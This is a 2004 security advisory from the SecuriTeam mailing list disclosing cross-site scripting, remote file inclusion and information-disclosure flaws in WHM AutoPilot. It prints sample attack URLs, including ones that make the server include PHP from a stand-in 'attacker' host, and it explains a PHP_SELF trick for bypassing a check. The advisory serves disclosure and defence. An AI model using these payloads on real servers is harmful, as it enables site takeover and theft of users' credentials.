[UNIX] Multiple WHM AutoPilot Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 12/29/04

  • Next message: SecuriTeam: "[UNIX] kpdf Buffer Overflow Vulnerability"
    To: list@securiteam.com
    Date: 29 Dec 2004 14:42:35 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Multiple WHM AutoPilot Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

    "Started by a webhost looking for more out of a simple management script,
    Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs)
    setout to build an internal management system that could handle the day to
    day operations of a normal hosting company. The key was to remove the need
    to constantly watch your orders and manage the installs. Alas,
    <http://www.whmautopilot.com/> WHM AutoPilot was born".

    Multiple security vulnerabilities have been discovered in WHM AutoPilot
    ranging from Cross Site Scripting to PHP Code Injection.

    DETAILS

    Cross Site Scripting:
    There are a significant number of cross site scripting issues in WHM
    AutoPilot. Most of these are caused by calling scripts directly and
    specifying certain variable values yourself. Below are a few examples,
    though there are many more XSS holes than just the examples am showing
    below.

    http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
    http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E

    We believe that every file in the /themes/blue/ directory can be
    manipulated in this way, and of course this can be used to steal a users
    credentials or render hostile code.

    File Inclusion Vulnerability:
    WHM AutoPilot is susceptible to several potentially very dangerous file
    include vulnerabilities. Below are several examples of how files can be
    included and possibly executed remotely.

    http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
    http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
    http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php

    This can be used to include php scripts and possibly take control of the
    webserver and more. A user does not have to be logged in to exploit this
    vulnerability either so that just makes it even more dangerous.

    Notice in the first sample, the "header.php/step_one.php"? Well, that was
    done to get around a piece of code that looked something like what is
    pasted just below.

    if (ereg("test.php", $PHP_SELF)==true)
    {
        include $server_inc."/step_one_tables.php";
    }

    Which works because $PHP_SELF will return the value of
    "header.php/step_one.php" expectedly. The below excerpt was taken from the
    PHP manual.

    "PHP_SELF
    The filename of the currently executing script, relative to the document
    root. For instance, $_SERVER['PHP_SELF'] in a script at the address
    http://example.com/test.php/foo.bar would be /test.php/foo.bar. The
    __FILE__ constant contains the full path and filename of the current (i.e.
    included) file."

    Information Disclosure:
    By default WHM AutoPilot is shipped with a phpinfo() script that is
    accessible to anyone. As far as I know WHM AutoPilot needs register
    globals to work, but if you want to check php settings anyway the file can
    be found in the root directory as "phpinfo.php".

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@gulftech.org>
    GulfTech Security.
    The original article can be found at:
    <http://www.gulftech.org/?node=research&article_id=00059-12272004>
    http://www.gulftech.org/?node=research&article_id=00059-12272004

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] kpdf Buffer Overflow Vulnerability"

    Relevant Pages

    • SUMMARY WAS: OT? Philosophical Question on SA responsibilities
      ... helpful for managers interested in hiring new administrators. ... Would you go thru the 14,600 messages in root and admin ... If I was a new SA I would if encountering a security hole, ... I can see some use for the passwd -s part of the crontab script, ...
      (SunManagers)
    • Re: Clarification-Win2k Netstat sockets interpretation
      ... snip.. ... Before I could manually download every security upate and servicepack from MS.com but now...they send you a bit of Cop-code that fails to run unless ALL defences are down ... Are you sure the script from ntsvcfg is benign in addition to being useful? ... You are absolutely correct there HAL, er ah, Sebastian. ...
      (alt.computer.security)
    • [NT] Flaw in Windows Script Engine Could Allow Code Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Windows Script Engine provides Windows operating systems with the ... blocked by Outlook Express 6.0 and Outlook 2002 in their default ...
      (Securiteam)
    • Re: BUG with RES/SCRIPT/XP-SP2
      ... I consider JavaScript (known to security people as JavaVirus) as one of the Really Top ... to have a bad script cause damage to my machine. ... This security feature is called the "Local Machine Zone Lockdown". ... Tags, and the CDHtmlDialog class in this forum, and got no response. ...
      (microsoft.public.vc.mfc)
    • BUG with RES/SCRIPT/XP-SP2
      ... This security feature is called the "Local Machine Zone Lockdown". ... past week since I started posting problems with the RES Protocol, SCRIPT ... Tags, and the CDHtmlDialog class in this forum, and got no response. ...
      (microsoft.public.vc.mfc)